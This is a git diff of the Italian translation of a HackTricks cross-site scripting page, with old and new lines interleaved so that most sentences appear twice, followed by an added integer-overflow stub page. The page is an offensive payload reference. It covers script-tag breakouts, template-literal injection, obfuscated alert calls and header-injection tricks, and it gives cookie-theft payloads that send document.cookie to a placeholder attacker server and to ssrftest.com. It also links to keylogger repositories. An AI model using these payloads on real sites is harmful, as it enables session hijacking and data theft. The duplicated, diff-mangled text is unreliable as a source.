In questo caso il tuo **input** verrà **riflesso all'interno del codice JS** di un file `.js` o tra i tag `<script>...</script>` o tra eventi HTML che possono eseguire codice JS o tra attributi che accettano il protocollo `javascript:`.
### Escape del tag \<script>
### Escaping del tag \<script>
Se il tuo codice è inserito all'interno di `<script> [...] var input = 'reflected data' [...] </script>` potresti facilmente **evitare la chiusura del tag `<script>`**:
Se il tuo codice è inserito all'interno di `<script> [...] var input = 'dati riflessi' [...] </script>` potresti facilmente **evitare la chiusura del tag `<script>`**:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
@ -483,12 +487,12 @@ Se `<>` vengono sanificati, puoi comunque **eseguire l'escape della stringa** do
';alert(document.domain)//
\';alert(document.domain)//
```
### Template letterali \`\`
### Stringhe di modello \`\`
Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche gli **accenti gravi** **` `` `**. Questo è noto come template letterali poiché consentono di **inserire espressioni JS** utilizzando la sintassi `${ ... }`.\
Pertanto, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che utilizza gli accenti gravi, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**:
Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche **backticks** **` `` `**. Questo è noto come stringhe di modello poiché consentono di **inserire espressioni JS** utilizzando la sintassi `${ ... }`.\
Pertanto, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che utilizza backticks, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**:
Questo può essere **abusato** utilizzando:
Ciò può essere **abusato** utilizzando:
```javascript
`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
@ -558,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**Nuove righe JavaScript (dal** [**trucco delle nuove righe JavaScript**](./#javascript-new-lines) **)**
**Nuove righe JavaScript (dalla** [**trucco delle nuove righe JavaScript**](./#javascript-new-lines)**)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
@ -566,7 +570,7 @@ String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
```
**Spazi vuoti JavaScript**
**Spazi vuoti di JavaScript**
```javascript
log=[];
function funct(){}
@ -730,7 +734,7 @@ top[8680439..toString(30)](1)
````
## **Vulnerabilità del DOM**
C'è del **codice JS** che sta utilizzando **dati non sicuri controllati da un attaccante** come `location.href`. Un attaccante potrebbe sfruttare ciò per eseguire del codice JS arbitrario.\
C'è del **codice JS** che utilizza **dati non sicuri controllati da un attaccante** come `location.href`. Un attaccante potrebbe sfruttare ciò per eseguire del codice JS arbitrario.\
**A causa dell'estensione della spiegazione delle** [**vulnerabilità del DOM è stata spostata su questa pagina**](dom-xss.md)**:**
{% content-ref url="dom-xss.md" %}
@ -761,9 +765,9 @@ La coppia "Chiave","Valore" verrà ripetuta così:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
### Combinazioni speciali
Quindi, l'attributo onfocus verrà inserito e si verificherà XSS.
Successivamente, l'attributo onfocus verrà inserito e si verificherà XSS.
### Combinazioni speciali
```markup
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
@ -795,7 +799,7 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS con iniezione di header in una risposta 302
Se scopri che puoi **iniettare header in una risposta di reindirizzamento 302**, potresti provare a **far eseguire al browser JavaScript arbitrario**. Questo non è **triviale** poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi solo un payload di scripting tra siti è inutile.
Se trovi che puoi **iniettare header in una risposta di reindirizzamento 302**, potresti provare a **far eseguire al browser JavaScript arbitrario**. Questo non è **triviale** poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi solo un payload di scripting tra siti è inutile.
In [**questo rapporto**](https://www.gremwell.com/firefox-xss-302) e [**questo**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puoi leggere come puoi testare diversi protocolli all'interno dell'header Location e vedere se uno di essi consente al browser di ispezionare ed eseguire il payload XSS all'interno del corpo.\
Protocolli noti: `mailto://`, `//x:1/`, `ws://`, `wss://`, _header Location vuoto_, `resource://`.
@ -913,9 +917,9 @@ Se la pagina restituisce un tipo di contenuto text/xml, è possibile indicare un
```
### Modelli di Sostituzione Speciali
Quando viene utilizzato qualcosa del tipo **`"alcuni {{template}} dati".replace("{{template}}", <input_utente>)`**, l'attaccante potrebbe utilizzare [**sostituzioni di stringhe speciali**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) per cercare di aggirare alcune protezioni: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
Quando viene utilizzato qualcosa del tipo **`"alcuni dati {{template}}".replace("{{template}}", <input_utente>)`**. L'attaccante potrebbe utilizzare [**sostituzioni di stringhe speciali**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) per cercare di aggirare alcune protezioni: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
Ad esempio, in [**questo articolo**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato utilizzato per **eludere una stringa JSON** all'interno di uno script ed eseguire codice arbitrario.
Ad esempio in [**questo articolo**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato utilizzato per **eludere una stringa JSON** all'interno di uno script ed eseguire codice arbitrario.
### Cache di Chrome per XSS
@ -956,7 +960,7 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
Se **tutto è non definito** prima di eseguire codice non attendibile (come in [**questo articolo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice non attendibile arbitrario:
Se **tutto è non definito** prima di eseguire codice non attendibile (come in [**questo articolo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice non attendibile:
* Utilizzando import()
```javascript
@ -1018,7 +1022,7 @@ trigger()
```
### Offuscamento e Bypass Avanzato
* **Diversi tipi di offuscamento in una pagina:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
* **Diverse tecniche di offuscamento in una pagina:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
@ -1059,6 +1063,14 @@ trigger()
[steal-info-js.md](steal-info-js.md)
{% endcontent-ref %}
### Trappola Iframe
Fai in modo che l'utente navighi nella pagina senza uscire da un iframe e ruba le sue azioni (incluso l'invio di informazioni nei moduli):
{% content-ref url="../iframe-traps.md" %}
[iframe-traps.md](../iframe-traps.md)
{% endcontent-ref %}
### Recupero dei Cookie
```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
@ -1082,7 +1094,7 @@ trigger()
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
{% hint style="info" %}
Non sarai in grado di accedere ai cookie da JavaScript se il flag HTTPOnly è impostato nel cookie. Ma qui hai [alcuni modi per aggirare questa protezione](../hacking-with-cookies/#httponly) se sei abbastanza fortunato.
Non sarà possibile accedere ai cookie da JavaScript se il flag HTTPOnly è impostato nel cookie. Ma qui hai [alcuni modi per aggirare questa protezione](../hacking-with-cookies/#httponly) se sei abbastanza fortunato.
{% endhint %}
### Rubare il contenuto della pagina
@ -1186,7 +1198,7 @@ Quando vengono inseriti dati nel campo password, lo username e la password vengo
### Keylogger
Basta cercare su github ne ho trovati alcuni diversi:
Semplicemente cercando su github ne ho trovati alcuni diversi:
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
@ -1317,7 +1329,7 @@ Maggiori informazioni su questa tecnica qui: [**XSLT**](../xslt-server-side-inje
### XSS in PDF creati dinamicamente
Se una pagina web crea un PDF utilizzando input controllati dall'utente, puoi provare a **ingannare il bot** che sta creando il PDF per **eseguire codice JS arbitrario**.\
Quindi, se il **bot creatore di PDF trova** qualche tipo di **tag HTML**, li **interpreterà**, e puoi **abusare** di questo comportamento per causare un **Server XSS**.
Quindi, se il **bot creatore di PDF trova** dei **tag HTML**, li **interpreterà**, e puoi **abusare** di questo comportamento per causare un **Server XSS**.
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
@ -1411,22 +1423,22 @@ Trova **altri payload SVG in** [**https://github.com/allanlw/svg-cheatsheet**](h
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, scritta e parlata_).
Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, scritto e parlato_).
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
</details>

View file

@ -0,0 +1,31 @@
# Integer Overflow
<details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la **tua azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo di hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo di hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Check:
{% content-ref url="../../binary-exploitation/integer-overflow.md" %}
[integer-overflow.md](../../binary-exploitation/integer-overflow.md)
{% endcontent-ref %}
<details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la **tua azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo di hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo di hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>